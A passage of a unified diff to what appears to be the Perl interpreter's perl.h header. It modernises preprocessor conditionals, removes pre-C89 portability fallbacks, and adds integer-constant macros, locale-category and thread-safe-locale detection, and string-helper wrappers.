 #  define HAS_SETPGRP  /* Well, effectively it does . . . */
@@ -661,14 +655,10 @@
 */
 #ifdef HAS_GETPGID
 #  define BSD_GETPGRP(pid)		getpgid((pid))
-#else
-#  if defined(HAS_GETPGRP) && defined(USE_BSD_GETPGRP)
-#    define BSD_GETPGRP(pid)		getpgrp((pid))
-#  else
-#    ifdef HAS_GETPGRP2  /* DG/UX */
-#      define BSD_GETPGRP(pid)		getpgrp2((pid))
-#    endif
-#  endif
+#elif defined(HAS_GETPGRP) && defined(USE_BSD_GETPGRP)
+#  define BSD_GETPGRP(pid)		getpgrp((pid))
+#elif defined(HAS_GETPGRP2)
+#  define BSD_GETPGRP(pid)		getpgrp2((pid))
 #endif
 #if defined(BSD_GETPGRP) && !defined(HAS_GETPGRP)
 #  define HAS_GETPGRP  /* Well, effectively it does . . . */
@@ -693,12 +683,6 @@
 
 #include <sys/types.h>
 
-#ifdef __cplusplus
-#  ifndef I_STDARG
-#    define I_STDARG 1
-#  endif
-#endif
-
 /* EVC 4 SDK headers includes a bad definition of MB_CUR_MAX in stdlib.h
   which is included from stdarg.h. Bad definition not present in SD 2008
   SDK headers. wince.h is not yet included, so we cant fix this from there
@@ -706,21 +690,18 @@
   cewchar.h includes a correct definition of MB_CUR_MAX and it is copied here
   since cewchar.h can't be included this early */
 #if defined(UNDER_CE) && (_MSC_VER < 1300)
-#  define MB_CUR_MAX 1
+#  define MB_CUR_MAX 1uL
 #endif
-#ifdef I_STDARG
-#  include <stdarg.h>
-#else
-#  ifdef I_VARARGS
-#    include <varargs.h>
-#  endif
-#endif
 
+# include <stdarg.h>
+
 #ifdef I_STDINT
 # include <stdint.h>
 #endif
 
 #include <ctype.h>
+#include <float.h>
+#include <limits.h>
 
 #ifdef METHOD 	/* Defined by OSF/1 v3.0 by ctype.h */
 #undef METHOD
@@ -761,11 +742,60 @@
 #   if !defined(NO_LOCALE_TIME) && defined(LC_TIME)
 #	define USE_LOCALE_TIME
 #   endif
-#   ifndef WIN32    /* No wrapper except on Windows */
-#       define my_setlocale(a,b) setlocale(a,b)
+#   if !defined(NO_LOCALE_ADDRESS) && defined(LC_ADDRESS)
+#	define USE_LOCALE_ADDRESS
 #   endif
+#   if !defined(NO_LOCALE_IDENTIFICATION) && defined(LC_IDENTIFICATION)
+#	define USE_LOCALE_IDENTIFICATION
+#   endif
+#   if !defined(NO_LOCALE_MEASUREMENT) && defined(LC_MEASUREMENT)
+#	define USE_LOCALE_MEASUREMENT
+#   endif
+#   if !defined(NO_LOCALE_PAPER) && defined(LC_PAPER)
+#	define USE_LOCALE_PAPER
+#   endif
+#   if !defined(NO_LOCALE_TELEPHONE) && defined(LC_TELEPHONE)
+#	define USE_LOCALE_TELEPHONE
+#   endif
 #endif /* !NO_LOCALE && HAS_SETLOCALE */
 
+/* XXX The next few defines are unfortunately duplicated in makedef.pl, and
+ * changes here MUST also be made there */
+
+#ifdef USE_LOCALE /* These locale things are all subject to change */
+#  if      defined(HAS_NEWLOCALE)               \
+      &&   defined(LC_ALL_MASK)                 \
+      &&   defined(HAS_FREELOCALE)              \
+      &&   defined(HAS_USELOCALE)               \
+      && ! defined(NO_POSIX_2008_LOCALE)
+
+    /* For simplicity, the code is written to assume that any platform advanced
+     * enough to have the Posix 2008 locale functions has LC_ALL.  The test
+     * above makes sure that assumption is valid */
+
+#    define HAS_POSIX_2008_LOCALE
+#  endif
+#  if     defined(USE_ITHREADS)                                             \
+      && (    defined(HAS_POSIX_2008_LOCALE)                                \
+          || (defined(WIN32) && defined(_MSC_VER) && _MSC_VER >= 1400))     \
+      && ! defined(NO_THREAD_SAFE_LOCALE)
+#    define USE_THREAD_SAFE_LOCALE
+#    ifdef HAS_POSIX_2008_LOCALE
+#      define USE_POSIX_2008_LOCALE
+#    endif
+#  endif
+#endif
+
+/*  Microsoft documentation reads in the change log for VS 2015:
+ *     "The localeconv function declared in locale.h now works correctly when
+ *     per-thread locale is enabled. In previous versions of the library, this
+ *     function would return the lconv data for the global locale, not the
+ *     thread's locale."
+ */
+#if defined(WIN32) && defined(USE_THREAD_SAFE_LOCALE) && _MSC_VER < 1900
+#  define TS_W32_BROKEN_LOCALECONV
+#endif
+
 #include <setjmp.h>
 
 #ifdef I_SYS_PARAM
@@ -785,10 +815,8 @@
 #   endif
 #endif
 
-/* Use all the "standard" definitions? */
-#if defined(STANDARD_C) && defined(I_STDLIB)
-#   include <stdlib.h>
-#endif
+/* Use all the "standard" definitions */
+#include <stdlib.h>
 
 /* If this causes problems, set i_unistd=undef in the hint file.  */
 #ifdef I_UNISTD
@@ -826,56 +854,124 @@
 EXTERN_C int usleep(unsigned int);
 #endif
 
-#ifdef PERL_CORE
+/* macros for correct constant construction.  These are in C99 <stdint.h>
+ * (so they will not be available in strict C89 mode), but they are nice, so
+ * let's define them if necessary. */
+#ifndef UINT16_C
+#  if INTSIZE >= 2
+#    define UINT16_C(x) ((U16_TYPE)x##U)
+#  else
+#    define UINT16_C(x) ((U16_TYPE)x##UL)
+#  endif
+#endif
 
-/* macros for correct constant construction */
-# if INTSIZE >= 2
-#  define U16_CONST(x) ((U16)x##U)
-# else
-#  define U16_CONST(x) ((U16)x##UL)
-# endif
+#ifndef UINT32_C
+#  if INTSIZE >= 4
+#    define UINT32_C(x) ((U32_TYPE)x##U)
+#  else
+#    define UINT32_C(x) ((U32_TYPE)x##UL)
+#  endif
+#endif
 
-# if INTSIZE >= 4
-#  define U32_CONST(x) ((U32)x##U)
-# else
-#  define U32_CONST(x) ((U32)x##UL)
-# endif
+#ifdef I_STDINT
+    typedef intmax_t  PERL_INTMAX_T;
+    typedef uintmax_t PERL_UINTMAX_T;
+#endif
 
-# ifdef HAS_QUAD
-#  if INTSIZE >= 8
-#   define U64_CONST(x) ((U64)x##U)
-#  elif LONGSIZE >= 8
-#   define U64_CONST(x) ((U64)x##UL)
-#  elif QUADKIND == QUAD_IS_LONG_LONG
-#   define U64_CONST(x) ((U64)x##ULL)
-#  elif QUADKIND == QUAD_IS___INT64
-#   define U64_CONST(x) ((U64)x##UI64)
-#  else /* best guess we can make */
-#   define U64_CONST(x) ((U64)x##UL)
+/* N.B.  We use QUADKIND here instead of HAS_QUAD here, because that doesn't
+ * actually mean what it has always been documented to mean (see RT #119753)
+ * and is explicitly turned off outside of core with dire warnings about
+ * removing the undef. */
+
+#if defined(QUADKIND)
+#  undef PeRl_INT64_C
+#  undef PeRl_UINT64_C
+/* Prefer the native integer types (int and long) over long long
+ * (which is not C89) and Win32-specific __int64. */
+#  if QUADKIND == QUAD_IS_INT && INTSIZE == 8
+#    define PeRl_INT64_C(c)	(c)
+#    define PeRl_UINT64_C(c)	CAT2(c,U)
 #  endif
-# endif
+#  if QUADKIND == QUAD_IS_LONG && LONGSIZE == 8
+#    define PeRl_INT64_C(c)	CAT2(c,L)
+#    define PeRl_UINT64_C(c)	CAT2(c,UL)
+#  endif
+#  if QUADKIND == QUAD_IS_LONG_LONG && defined(HAS_LONG_LONG)
+#    define PeRl_INT64_C(c)	CAT2(c,LL)
+#    define PeRl_UINT64_C(c)	CAT2(c,ULL)
+#  endif
+#  if QUADKIND == QUAD_IS___INT64
+#    define PeRl_INT64_C(c)	CAT2(c,I64)
+#    define PeRl_UINT64_C(c)	CAT2(c,UI64)
+#  endif
+#  ifndef PeRl_INT64_C
+#    define PeRl_INT64_C(c)	((I64)(c)) /* last resort */
+#    define PeRl_UINT64_C(c)	((U64TYPE)(c))
+#  endif
+/* In OS X the INT64_C/UINT64_C are defined with LL/ULL, which will
+ * not fly with C89-pedantic gcc, so let's undefine them first so that
+ * we can redefine them with our native integer preferring versions. */
+#  if defined(PERL_DARWIN) && defined(PERL_GCC_PEDANTIC)
+#    undef INT64_C
+#    undef UINT64_C
+#  endif
+#  ifndef INT64_C
+#    define INT64_C(c) PeRl_INT64_C(c)
+#  endif
+#  ifndef UINT64_C
+#    define UINT64_C(c) PeRl_UINT64_C(c)
+#  endif
 
+#  ifndef I_STDINT
+    typedef I64TYPE PERL_INTMAX_T;
+    typedef U64TYPE PERL_UINTMAX_T;
+#  endif
+#  ifndef INTMAX_C
+#    define INTMAX_C(c) INT64_C(c)
+#  endif
+#  ifndef UINTMAX_C
+#    define UINTMAX_C(c) UINT64_C(c)
+#  endif
+
+#else  /* below QUADKIND is undefined */
+
+/* Perl doesn't work on 16 bit systems, so must be 32 bit */
+#  ifndef I_STDINT
+    typedef I32TYPE PERL_INTMAX_T;
+    typedef U32TYPE PERL_UINTMAX_T;
+#  endif
+#  ifndef INTMAX_C
+#    define INTMAX_C(c) INT32_C(c)
+#  endif
+#  ifndef UINTMAX_C
+#    define UINTMAX_C(c) UINT32_C(c)
+#  endif
+
+#endif  /* no QUADKIND */
+
+#ifdef PERL_CORE
+
 /* byte-swapping functions for big-/little-endian conversion */
 # define _swab_16_(x) ((U16)( \
-         (((U16)(x) & U16_CONST(0x00ff)) << 8) | \
-         (((U16)(x) & U16_CONST(0xff00)) >> 8) ))
+         (((U16)(x) & UINT16_C(0x00ff)) << 8) | \
+         (((U16)(x) & UINT16_C(0xff00)) >> 8) ))
 
 # define _swab_32_(x) ((U32)( \
-         (((U32)(x) & U32_CONST(0x000000ff)) << 24) | \
-         (((U32)(x) & U32_CONST(0x0000ff00)) <<  8) | \
-         (((U32)(x) & U32_CONST(0x00ff0000)) >>  8) | \
-         (((U32)(x) & U32_CONST(0xff000000)) >> 24) ))
+         (((U32)(x) & UINT32_C(0x000000ff)) << 24) | \
+         (((U32)(x) & UINT32_C(0x0000ff00)) <<  8) | \
+         (((U32)(x) & UINT32_C(0x00ff0000)) >>  8) | \
+         (((U32)(x) & UINT32_C(0xff000000)) >> 24) ))
 
 # ifdef HAS_QUAD
 #  define _swab_64_(x) ((U64)( \
-          (((U64)(x) & U64_CONST(0x00000000000000ff)) << 56) | \
-          (((U64)(x) & U64_CONST(0x000000000000ff00)) << 40) | \
-          (((U64)(x) & U64_CONST(0x0000000000ff0000)) << 24) | \
-          (((U64)(x) & U64_CONST(0x00000000ff000000)) <<  8) | \
-          (((U64)(x) & U64_CONST(0x000000ff00000000)) >>  8) | \
-          (((U64)(x) & U64_CONST(0x0000ff0000000000)) >> 24) | \
-          (((U64)(x) & U64_CONST(0x00ff000000000000)) >> 40) | \
-          (((U64)(x) & U64_CONST(0xff00000000000000)) >> 56) ))
+          (((U64)(x) & UINT64_C(0x00000000000000ff)) << 56) | \
+          (((U64)(x) & UINT64_C(0x000000000000ff00)) << 40) | \
+          (((U64)(x) & UINT64_C(0x0000000000ff0000)) << 24) | \
+          (((U64)(x) & UINT64_C(0x00000000ff000000)) <<  8) | \
+          (((U64)(x) & UINT64_C(0x000000ff00000000)) >>  8) | \
+          (((U64)(x) & UINT64_C(0x0000ff0000000000)) >> 24) | \
+          (((U64)(x) & UINT64_C(0x00ff000000000000)) >> 40) | \
+          (((U64)(x) & UINT64_C(0xff00000000000000)) >> 56) ))
 # endif
 
 /* The old value was hard coded at 1008. (4096-16) seems to be a bit faster,
@@ -891,6 +987,26 @@
 
 #endif /* PERL_CORE */
 
+/* Maximum number of args that may be passed to an OP_MULTICONCAT op.
+ * It determines the size of local arrays in S_maybe_multiconcat() and
+ * pp_multiconcat().
+ */
+#define PERL_MULTICONCAT_MAXARG 64
+
+/* The indexes of fields of a multiconcat aux struct.
+ * The fixed fields are followed by nargs+1 const segment lengths,
+ * and if utf8 and non-utf8 differ, a second nargs+1 set for utf8.
+ */
+
+#define PERL_MULTICONCAT_IX_NARGS     0 /* number of arguments */
+#define PERL_MULTICONCAT_IX_PLAIN_PV  1 /* non-utf8 constant string */
+#define PERL_MULTICONCAT_IX_PLAIN_LEN 2 /* non-utf8 constant string length */
+#define PERL_MULTICONCAT_IX_UTF8_PV   3 /* utf8 constant string */
+#define PERL_MULTICONCAT_IX_UTF8_LEN  4 /* utf8 constant string length */
+#define PERL_MULTICONCAT_IX_LENGTHS   5 /* first of nargs+1 const segment lens */
+#define PERL_MULTICONCAT_HEADER_SIZE 5 /* The number of fields of a
+                                           multiconcat header */
+
 /* We no longer default to creating a new SV for GvSV.
    Do this before embed.  */
 #ifndef PERL_CREATE_GVSV
@@ -924,11 +1040,14 @@
 #  define PERL_STRLEN_EXPAND_SHIFT 2
 #endif
 
-#if defined(STANDARD_C) && defined(I_STDDEF) && !defined(PERL_GCC_PEDANTIC)
-#   include <stddef.h>
-#   define STRUCT_OFFSET(s,m)  offsetof(s,m)
+/* This use of offsetof() requires /Zc:offsetof- for VS2017 (and presumably
+ * onwards) when building Socket.xs, but we can just use a different definition
+ * for STRUCT_OFFSET instead. */
+#if defined(WIN32) && defined(_MSC_VER) && _MSC_VER >= 1910
+#  define STRUCT_OFFSET(s,m)  (Size_t)(&(((s *)0)->m))
 #else
-#   define STRUCT_OFFSET(s,m)  (Size_t)(&(((s *)0)->m))
+#  include <stddef.h>
+#  define STRUCT_OFFSET(s,m)  offsetof(s,m)
 #endif
 
 /* ptrdiff_t is C11, so undef it under pedantic builds */
@@ -937,11 +1056,7 @@
 #endif
 
 #ifndef __SYMBIAN32__
-#  if defined(I_STRING) || defined(__cplusplus)
-#     include <string.h>
-#  else
-#     include <strings.h>
-#  endif
+#  include <string.h>
 #endif
 
 /* This comes after <stdlib.h> so we don't try to change the standard
@@ -995,87 +1110,10 @@
 #define MALLOC_TOO_LATE_FOR(ch)	TOO_LATE_FOR_(ch, " with $ENV{PERL_MALLOC_OPT}")
 #define MALLOC_CHECK_TAINT2(argc,argv)	MALLOC_CHECK_TAINT(argc,argv,NULL)
 
-#if !defined(HAS_STRCHR) && defined(HAS_INDEX) && !defined(strchr)
-#define strchr index
-#define strrchr rindex
-#endif
-
-#ifdef I_MEMORY
-#  include <memory.h>
-#endif
-
-#ifdef HAS_MEMCPY
-#  if !defined(STANDARD_C) && !defined(I_STRING) && !defined(I_MEMORY)
-#    ifndef memcpy
-        extern char * memcpy (char*, char*, int);
-#    endif
-#  endif
-#else
-#   ifndef memcpy
-#	define memcpy(d,s,l) my_bcopy(s,d,l)
-#   endif
-#endif /* HAS_MEMCPY */
-
-#ifdef HAS_MEMSET
-#  if !defined(STANDARD_C) && !defined(I_STRING) && !defined(I_MEMORY)
-#    ifndef memset
-	extern char *memset (char*, int, int);
-#    endif
-#  endif
-#else
-#  undef  memset
-#  define memset(d,c,l) my_memset(d,c,l)
-#endif /* HAS_MEMSET */
-
-#if !defined(HAS_MEMMOVE) && !defined(memmove)
-#   if defined(HAS_MEMCPY) && defined(HAS_SAFE_MEMCPY)
-#	define memmove(d,s,l) memcpy(d,s,l)
-#   else
-#	define memmove(d,s,l) my_bcopy(s,d,l)
-#   endif
-#endif
-
-#if defined(mips) && defined(ultrix) && !defined(__STDC__)
-#   undef HAS_MEMCMP
-#endif
-
-#if defined(HAS_MEMCMP) && defined(HAS_SANE_MEMCMP)
-#  if !defined(STANDARD_C) && !defined(I_STRING) && !defined(I_MEMORY)
-#    ifndef memcmp
-	extern int memcmp (char*, char*, int);
-#    endif
-#  endif
-#else
-#   undef memcmp
-#   define memcmp   my_memcmp
-#endif /* HAS_MEMCMP && HAS_SANE_MEMCMP */
-
 #ifndef memzero
-#   ifdef HAS_MEMSET
-#	define memzero(d,l) memset(d,0,l)
-#   else
-#	ifdef HAS_BZERO
-#	    define memzero(d,l) bzero(d,l)
-#	else
-#	    define memzero(d,l) my_bzero(d,l)
-#	endif
-#   endif
+#   define memzero(d,l) memset(d,0,l)
 #endif
 
-#ifndef PERL_MICRO
-#ifndef memchr
-#   ifndef HAS_MEMCHR
-#       define memchr(s,c,n) ninstr((char*)(s), ((char*)(s)) + n, &(c), &(c) + 1)
-#   endif
-#endif
-#endif
-
-#ifndef HAS_BCMP
-#   ifndef bcmp
-#	define bcmp(s1,s2,l) memcmp(s1,s2,l)
-#   endif
-#endif /* !HAS_BCMP */
-
 #ifdef I_NETINET_IN
 #   include <netinet/in.h>
 #endif
@@ -1113,9 +1151,7 @@
 #   undef S_ISLNK
 #endif
 
-#ifdef I_TIME
-#   include <time.h>
-#endif
+#include <time.h>
 
 #ifdef I_SYS_TIME
 #   ifdef I_SYS_TIME_KERNEL
@@ -1131,10 +1167,6 @@
 #    include <sys/times.h>
 #endif
 
-#if defined(HAS_STRERROR) && (!defined(HAS_MKDIR) || !defined(HAS_RMDIR))
-#   undef HAS_STRERROR
-#endif
-
 #include <errno.h>
 
 #if defined(WIN32) && defined(PERL_IMPLICIT_SYS)
@@ -1187,16 +1219,11 @@
 
 #if defined(__SUNPRO_CC) /* SUNWspro CC (C++) */
 EXTERN_C char *crypt(const char *, const char *);
-EXTERN_C char **environ;
 #endif
 
-#if defined(__cplusplus)
-#  if defined(BSDish)
-EXTERN_C char **environ;
-#  elif defined(__CYGWIN__)
+#if defined(__cplusplus) && defined(__CYGWIN__)
 EXTERN_C char *crypt(const char *, const char *);
 #endif
-#endif
 
 #ifdef SETERRNO
 # undef SETERRNO  /* SOCKS might have defined this */
@@ -1317,26 +1344,10 @@
 
 #define UNKNOWN_ERRNO_MSG "(unknown)"
 
-#ifdef HAS_STRERROR
-#   ifndef DONT_DECLARE_STD
-#       ifdef VMS
-	char *strerror (int,...);
-#       else
-	char *strerror (int);
-#       endif
-#    endif
-#    ifndef Strerror
-#       define Strerror strerror
-#    endif
+#if VMS
+#define Strerror(e) strerror((e), vaxc$errno)
 #else
-#    ifdef HAS_SYS_ERRLIST
-	extern int sys_nerr;
-	extern char *sys_errlist[];
-#       ifndef Strerror
-#           define Strerror(e) \
-		((e) < 0 || (e) >= sys_nerr ? UNKNOWN_ERRNO_MSG : sys_errlist[e])
-#       endif
-#   endif
+#define Strerror(e) strerror(e)
 #endif
 
 #ifdef I_SYS_IOCTL
@@ -1370,19 +1381,11 @@
 
 /* Configure already sets Direntry_t */
 #if defined(I_DIRENT)
-#   include <dirent.h>
-#else
-#   ifdef I_SYS_NDIR
-#	include <sys/ndir.h>
-#   else
-#	ifdef I_SYS_DIR
-#	    ifdef hp9000s500
-#		include <ndir.h>	/* may be wrong in the future */
-#	    else
-#		include <sys/dir.h>
-#	    endif
-#	endif
-#   endif
+#  include <dirent.h>
+#elif defined(I_SYS_NDIR)
+#  include <sys/ndir.h>
+#elif defined(I_SYS_DIR)
+#  include <sys/dir.h>
 #endif
 
 /*
@@ -1432,35 +1435,27 @@
 #endif
 
 #ifndef S_ISLNK
-#   ifdef _S_ISLNK
-#	define S_ISLNK(m) _S_ISLNK(m)
-#   else
-#	ifdef _S_IFLNK
-#	    define S_ISLNK(m) ((m & S_IFMT) == _S_IFLNK)
-#	else
-#	    ifdef S_IFLNK
-#		define S_ISLNK(m) ((m & S_IFMT) == S_IFLNK)
-#	    else
-#		define S_ISLNK(m) (0)
-#	    endif
-#	endif
-#   endif
+#  ifdef _S_ISLNK
+#    define S_ISLNK(m) _S_ISLNK(m)
+#  elif defined(_S_IFLNK)
+#    define S_ISLNK(m) ((m & S_IFMT) == _S_IFLNK)
+#  elif defined(S_IFLNK)
+#    define S_ISLNK(m) ((m & S_IFMT) == S_IFLNK)
+#  else
+#    define S_ISLNK(m) (0)
+#  endif
 #endif
 
 #ifndef S_ISSOCK
-#   ifdef _S_ISSOCK
-#	define S_ISSOCK(m) _S_ISSOCK(m)
-#   else
-#	ifdef _S_IFSOCK
-#	    define S_ISSOCK(m) ((m & S_IFMT) == _S_IFSOCK)
-#	else
-#	    ifdef S_IFSOCK
-#		define S_ISSOCK(m) ((m & S_IFMT) == S_IFSOCK)
-#	    else
-#		define S_ISSOCK(m) (0)
-#	    endif
-#	endif
-#   endif
+#  ifdef _S_ISSOCK
+#    define S_ISSOCK(m) _S_ISSOCK(m)
+#  elif defined(_S_IFSOCK)
+#    define S_ISSOCK(m) ((m & S_IFMT) == _S_IFSOCK)
+#  elif defined(S_IFSOCK)
+#    define S_ISSOCK(m) ((m & S_IFMT) == S_IFSOCK)
+#  else
+#    define S_ISSOCK(m) (0)
+#  endif
 #endif
 
 #ifndef S_IRUSR
@@ -1543,15 +1538,13 @@
 #undef UV
 #endif
 
-/* For the times when you want the return value of sprintf, and you want it
-   to be the length. Can't have a thread variable passed in, because C89 has
-   no varargs macros.
-*/
-#ifdef SPRINTF_RETURNS_STRLEN
-#  define my_sprintf sprintf
-#else
-#  define my_sprintf Perl_my_sprintf
-#endif
+/* This used to be conditionally defined based on whether we had a sprintf()
+ * that correctly returns the string length (as required by C89), but we no
+ * longer need that. XS modules can (and do) use this name, so it must remain
+ * a part of the API that's visible to modules. But we no longer document it
+ * either (because using sprintf() rather than snprintf() is almost always
+ * a bad idea). */
+#define my_sprintf sprintf
 
 /*
  * If we have v?snprintf() and the C99 variadic macros, we can just
@@ -1569,13 +1562,12 @@
  * that should be true only if the snprintf()/vsnprintf() are true
  * to the standard. */
 
-#define PERL_SNPRINTF_CHECK(len, max, api) STMT_START { if ((max) > 0 && (Size_t)len >= (max)) Perl_croak_nocontext("panic: %s buffer overflow", STRINGIFY(api)); } STMT_END
+#define PERL_SNPRINTF_CHECK(len, max, api) STMT_START { if ((max) > 0 && (Size_t)len > (max)) Perl_croak_nocontext("panic: %s buffer overflow", STRINGIFY(api)); } STMT_END
 
 #ifdef USE_QUADMATH
 #  define my_snprintf Perl_my_snprintf
 #  define PERL_MY_SNPRINTF_GUARDED
-#else
-#if defined(HAS_SNPRINTF) && defined(HAS_C99_VARIADIC_MACROS) && !(defined(DEBUGGING) && !defined(PERL_USE_GCC_BRACE_GROUPS)) && !defined(PERL_GCC_PEDANTIC)
+#elif defined(HAS_SNPRINTF) && defined(HAS_C99_VARIADIC_MACROS) && !(defined(DEBUGGING) && !defined(PERL_USE_GCC_BRACE_GROUPS)) && !defined(PERL_GCC_PEDANTIC)
 #  ifdef PERL_USE_GCC_BRACE_GROUPS
 #      define my_snprintf(buffer, max, ...) ({ int len = snprintf(buffer, max, __VA_ARGS__); PERL_SNPRINTF_CHECK(len, max, snprintf); len; })
 #      define PERL_MY_SNPRINTF_GUARDED
@@ -1586,7 +1578,6 @@
 #  define my_snprintf  Perl_my_snprintf
 #  define PERL_MY_SNPRINTF_GUARDED
 #endif
-#endif
 
 /* There is no quadmath_vsnprintf, and therefore my_vsnprintf()
  * dies if called under USE_QUADMATH. */
@@ -1639,6 +1630,14 @@
 #  define my_strlcat    Perl_my_strlcat
 #endif
 
+#if defined(PERL_CORE) || defined(PERL_EXT)
+#  ifdef HAS_MEMRCHR
+#    define my_memrchr	memrchr
+#  else
+#    define my_memrchr	S_my_memrchr
+#  endif
+#endif
+
 #ifdef HAS_STRLCPY
 #  define my_strlcpy	strlcpy
 #else
@@ -1645,6 +1644,12 @@
 #  define my_strlcpy	Perl_my_strlcpy
 #endif
 
+#ifdef HAS_STRNLEN
+#  define my_strnlen	strnlen
+#else
+#  define my_strnlen	Perl_my_strnlen
+#endif
+
 /*
     The IV type is supposed to be long enough to hold any integral
     value or a pointer.
@@ -1732,13 +1737,11 @@
 #if (IVSIZE == PTRSIZE) && (UVSIZE == PTRSIZE)
 #  define PTRV			UV
 #  define INT2PTR(any,d)	(any)(d)
+#elif PTRSIZE == LONGSIZE
+#  define PTRV			unsigned long
+#  define PTR2ul(p)		(unsigned long)(p)
 #else
-#  if PTRSIZE == LONGSIZE
-#    define PTRV		unsigned long
-#    define PTR2ul(p)		(unsigned long)(p)
-#  else
-#    define PTRV		unsigned
-#  endif
+#  define PTRV			unsigned
 #endif
 
 #ifndef INT2PTR
@@ -1775,89 +1778,22 @@
 #  endif
 #endif
 
-#ifdef OVR_DBL_DIG
-/* Use an overridden DBL_DIG */
-# ifdef DBL_DIG
-#  undef DBL_DIG
-# endif
-# define DBL_DIG OVR_DBL_DIG
-#else
-/* The following is all to get DBL_DIG, in order to pick a nice
-   default value for printing floating point numbers in Gconvert
-   (see config.h). (It also has other uses, such as figuring out if
-   a given precision of printing can be done with a double instead of
-   a long double - Allen).
-*/
-#ifdef I_LIMITS
-#include <limits.h>
-#endif
-#ifdef I_FLOAT
-#include <float.h>
-#endif
-#ifndef HAS_DBL_DIG
-#define DBL_DIG	15   /* A guess that works lots of places */
-#endif
-#endif
-
-#ifdef OVR_LDBL_DIG
-/* Use an overridden LDBL_DIG */
-# ifdef LDBL_DIG
-#  undef LDBL_DIG
-# endif
-# define LDBL_DIG OVR_LDBL_DIG
-#else
 /* The following is all to get LDBL_DIG, in order to pick a nice
    default value for printing floating point numbers in Gconvert.
    (see config.h)
 */
-# ifdef I_LIMITS
-#   include <limits.h>
-# endif
-# ifdef I_FLOAT
-#  include <float.h>
-# endif
-# ifndef HAS_LDBL_DIG
+#ifndef HAS_LDBL_DIG
 #  if LONG_DOUBLESIZE == 10
-#   define LDBL_DIG 18 /* assume IEEE */
-#  else
-#   if LONG_DOUBLESIZE == 12
+#    define LDBL_DIG 18 /* assume IEEE */
+#  elif LONG_DOUBLESIZE == 12
 #    define LDBL_DIG 18 /* gcc? */
-#   else
-#    if LONG_DOUBLESIZE == 16
-#     define LDBL_DIG 33 /* assume IEEE */
-#    else
-#     if LONG_DOUBLESIZE == DOUBLESIZE
-#      define LDBL_DIG DBL_DIG /* bummer */
-#     endif
-#    endif
-#   endif
+#  elif LONG_DOUBLESIZE == 16
+#    define LDBL_DIG 33 /* assume IEEE */
+#  elif LONG_DOUBLESIZE == DOUBLESIZE
+#    define LDBL_DIG DBL_DIG /* bummer */
 #  endif
-# endif
 #endif
 
-/*
- * This is for making sure we have a good DBL_MAX value, if possible,
- * either for usage as NV_MAX or for usage in figuring out if we can
- * fit a given long double into a double, if bug-fixing makes it
- * necessary to do so. - Allen <allens at cpan.org>
- */
-
-#ifdef I_LIMITS
-#  include <limits.h>
-#endif
-
-#ifdef I_VALUES
-#  if !(defined(DBL_MIN) && defined(DBL_MAX) && defined(I_LIMITS))
-#    include <values.h>
-#    if defined(MAXDOUBLE) && !defined(DBL_MAX)
-#      define DBL_MAX MAXDOUBLE
-#    endif
-#    if defined(MINDOUBLE) && !defined(DBL_MIN)
-#      define DBL_MIN MINDOUBLE
-#    endif
-#  endif
-#endif /* defined(I_VALUES) */
-
 typedef NVTYPE NV;
 
 #ifdef I_IEEEFP
@@ -1910,10 +1846,8 @@
 #       ifdef LDBL_MAX
 #           define NV_MAX LDBL_MAX
 /* Having LDBL_MAX doesn't necessarily mean that we have LDBL_MIN... -Allen */
-#       else
-#           ifdef HUGE_VALL
-#               define NV_MAX HUGE_VALL
-#           endif
+#       elif defined(HUGE_VALL)
+#           define NV_MAX HUGE_VALL
 #       endif
 #   endif
 #   if defined(HAS_SQRTL)
@@ -1954,20 +1888,16 @@
 #   ifndef Perl_frexp
 #       ifdef HAS_FREXPL
 #           define Perl_frexp(x,y) frexpl(x,y)
-#       else
-#           if defined(HAS_ILOGBL) && defined(HAS_SCALBNL)
+#       elif defined(HAS_ILOGBL) && defined(HAS_SCALBNL)
 extern long double Perl_my_frexpl(long double x, int *e);
-#               define Perl_frexp(x,y) Perl_my_frexpl(x,y)
-#           endif
+#           define Perl_frexp(x,y) Perl_my_frexpl(x,y)
 #       endif
 #   endif
 #   ifndef Perl_ldexp
 #       ifdef HAS_LDEXPL
 #           define Perl_ldexp(x, y) ldexpl(x,y)
-#       else
-#           if defined(HAS_SCALBNL) && FLT_RADIX == 2
-#               define Perl_ldexp(x,y) scalbnl(x,y)
-#           endif
+#       elif defined(HAS_SCALBNL) && FLT_RADIX == 2
+#           define Perl_ldexp(x,y) scalbnl(x,y)
 #       endif
 #   endif
 #   ifndef Perl_isnan
@@ -2033,38 +1963,16 @@
 #   define Perl_fp_class_zero(x)   (Perl_fp_class(x) == 0)
 #else
 #   define NV_DIG DBL_DIG
-#   ifdef DBL_MANT_DIG
-#       define NV_MANT_DIG DBL_MANT_DIG
-#   endif
-#   ifdef DBL_MIN
-#       define NV_MIN DBL_MIN
-#   endif
-#   ifdef DBL_MAX
-#       define NV_MAX DBL_MAX
-#   endif
-#   ifdef DBL_MIN_EXP
-#       define NV_MIN_EXP DBL_MIN_EXP
-#   endif
-#   ifdef DBL_MAX_EXP
-#       define NV_MAX_EXP DBL_MAX_EXP
-#   endif
-#   ifdef DBL_MIN_10_EXP
-#       define NV_MIN_10_EXP DBL_MIN_10_EXP
-#   endif
-#   ifdef DBL_MAX_10_EXP
-#       define NV_MAX_10_EXP DBL_MAX_10_EXP
-#   endif
-#   ifdef DBL_EPSILON
-#       define NV_EPSILON DBL_EPSILON
-#   endif
-#   ifdef DBL_MAX               /* XXX Does DBL_MAX imply having DBL_MIN? */
-#       define NV_MAX DBL_MAX
-#       define NV_MIN DBL_MIN
-#   else
-#       ifdef HUGE_VAL
-#           define NV_MAX HUGE_VAL
-#       endif
-#   endif
+#   define NV_MANT_DIG DBL_MANT_DIG
+#   define NV_MIN DBL_MIN
+#   define NV_MAX DBL_MAX
+#   define NV_MIN_EXP DBL_MIN_EXP
+#   define NV_MAX_EXP DBL_MAX_EXP
+#   define NV_MIN_10_EXP DBL_MIN_10_EXP
+#   define NV_MAX_10_EXP DBL_MAX_10_EXP
+#   define NV_EPSILON DBL_EPSILON
+#   define NV_MAX DBL_MAX
+#   define NV_MIN DBL_MIN
 
 /* These math interfaces are C89. */
 #   define Perl_acos acos
@@ -2347,12 +2255,10 @@
 #ifndef Perl_isnan
 #   ifdef Perl_fp_class_nan
 #       define Perl_isnan(x) Perl_fp_class_nan(x)
+#   elif defined(HAS_UNORDERED)
+#       define Perl_isnan(x) unordered((x), 0.0)
 #   else
-#       ifdef HAS_UNORDERED
-#           define Perl_isnan(x) unordered((x), 0.0)
-#       else
-#           define Perl_isnan(x) ((x)!=(x))
-#       endif
+#       define Perl_isnan(x) ((x)!=(x))
 #   endif
 #endif
 
@@ -2428,57 +2334,7 @@
